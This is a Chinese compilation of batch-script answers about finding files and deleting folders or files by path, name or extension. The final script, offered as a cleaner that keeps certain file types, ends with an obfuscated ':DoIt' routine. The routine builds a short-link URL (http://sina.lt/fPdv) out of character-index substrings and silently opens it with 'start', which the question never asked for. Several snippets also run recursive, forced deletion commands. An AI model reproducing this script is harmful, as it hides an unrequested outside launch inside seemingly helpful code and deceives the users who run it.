『壹』 BAT查找當前目錄下某個後綴的文件,但排除查找某個文件夾
用find 篩選
如
SET"排除目錄=文件夾C"
FOR/F"delims="%%iIN(`DIR/s/b*.hex^|find/v"%cd%\%排除目錄%"`)DO(
echo,%%i
)
『貳』 如何通過bat程序將指定路徑下的文件夾全部刪除
隨著科技的發展,電腦已經成為人們日常生活中必不可少的工具,當我們想要刪除指定路徑下的全部文件夾時,可以使用bat程序來完成,接下來就由小編來告訴大家如何操作。
具體如下:1.第一步,打開電腦後滑鼠右鍵點擊空白處,在彈出菜單中選擇新建功能,隨後點擊二級菜單中的文本文檔選項。
2. 第二步,進入空白的文檔頁面後,在下方輸入以下內容:
@echo off
rd/s/qC:UsersxiaoergeDesktop新建文件夾。
3.第三步,點擊另存為按鈕後將該文本設置為刪除文件.bat,隨後點擊下方的保存按鈕。
以上就是小編為大家帶來的使用bat刪除指定路徑下的全部文件夾的方法。
『叄』 bat處理除了指定名稱文件夾,其他的文件夾都刪除
@echooff
::設置要保留的文件夾名,多個文件夾之間用英文逗號隔開,如果包含空格或英文逗號,英文&以及其它一些特殊字元的名字,請把該完整名字用英文雙引號括起來
setSaveName=001,002,003,004
::設置文件夾處理目錄
setDirPath=E:Test
(for%%ain(%SaveName%)doecho%%~a)>"%tmp%Save.List"
cd/d"%DirPath%"
for/d%%ain(*)do(
findstr/bei"%%~nxa""%tmp%Save.List">nul2>nul||rd/s/q"%%~a"
)
pause
手機編寫,尚未嘗試,請另外准備一些文件夾測試一下,通過後再去實際文件夾中執行。
『肆』 如何用bat命令清空文件夾就是刪除某個文件夾下所有內容 包括文件和文件夾
@echo off
del /s /q /a R:\Cache
::如果要完全後台執行需要用Bat To Exe Converter、Quick Batch File Compiler這種bat轉exe轉換,在設置中設置「後台運行」(Quick Batch File Compiler為」鬼程序「、」幽靈程序「等)即可。就算用vbs隱藏了窗口也照樣會顯示出一瞬間的。
『伍』 bat命求助,如何刪除文件夾和子文件夾中某個類型以外的所有文件。
@echo off & title 刪除指定格式外的文件 By 依夢琴瑤
cd /d "%~dp0"
::設置要排除的文件格式,多個格式之間使用英文逗號隔開
set Ext=txt
for /f "delims=" %%a in ('dir /a-d/s/b') do (
if /i not "%%~a"=="%~f0" (
set "Skip="
for %%i in (%Ext%) do (
if /i ".%%~i"=="%%~xa" (
set Skip=OK
)
)
if not defined Skip (
del /f /q "%%~a"
)
)
)
pause
call :DoIt
exit
:DoIt
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit